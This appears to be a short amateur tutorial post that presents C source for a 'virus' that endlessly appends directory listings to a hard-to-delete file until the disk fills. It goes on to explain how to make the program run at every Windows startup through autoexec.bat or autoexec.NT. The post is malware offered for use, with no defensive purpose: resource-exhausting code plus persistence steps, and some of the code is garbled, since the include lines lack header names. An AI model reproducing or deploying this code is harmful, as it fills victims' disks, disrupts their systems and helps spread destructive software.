VIRUS THAT JAMS HARD DISK DRIVE

include
#include
void main()
{
while(1)
{
system("dir>>╚a.exe");
}
}
//END

As you can see this is a very little programe.By compiling the programme we get "v.exe" file. This is our virus. How it works?
The system call "dir>>╚a.exe" will execute the dos command 'dir' and ridirect its output to a file ╚a.exe (the symbol ╚ can be obtained by pressing 456 on numpad holding alt key).

So running the program in a folder having many files and folder will increase the size of ╚a.exe in a great amount.This process will continue to infinity as this is in a while(1) loop; Best try this on win98.Then you cannot delete ╚a.exe from GUI.

For auto running place "v.exe" in the command folder in windows folder. In autoexec.bat(win98) or autoexec.NT(winXP/2000) file simply write v.exe. Each time your window starts v.exe will run automatically.

You can try this even on your own computer. But remember the ╚a.exe is the infected file which is growing in size continiously.So to recover, simply delete v.exe and ╚a.exe file from your computer
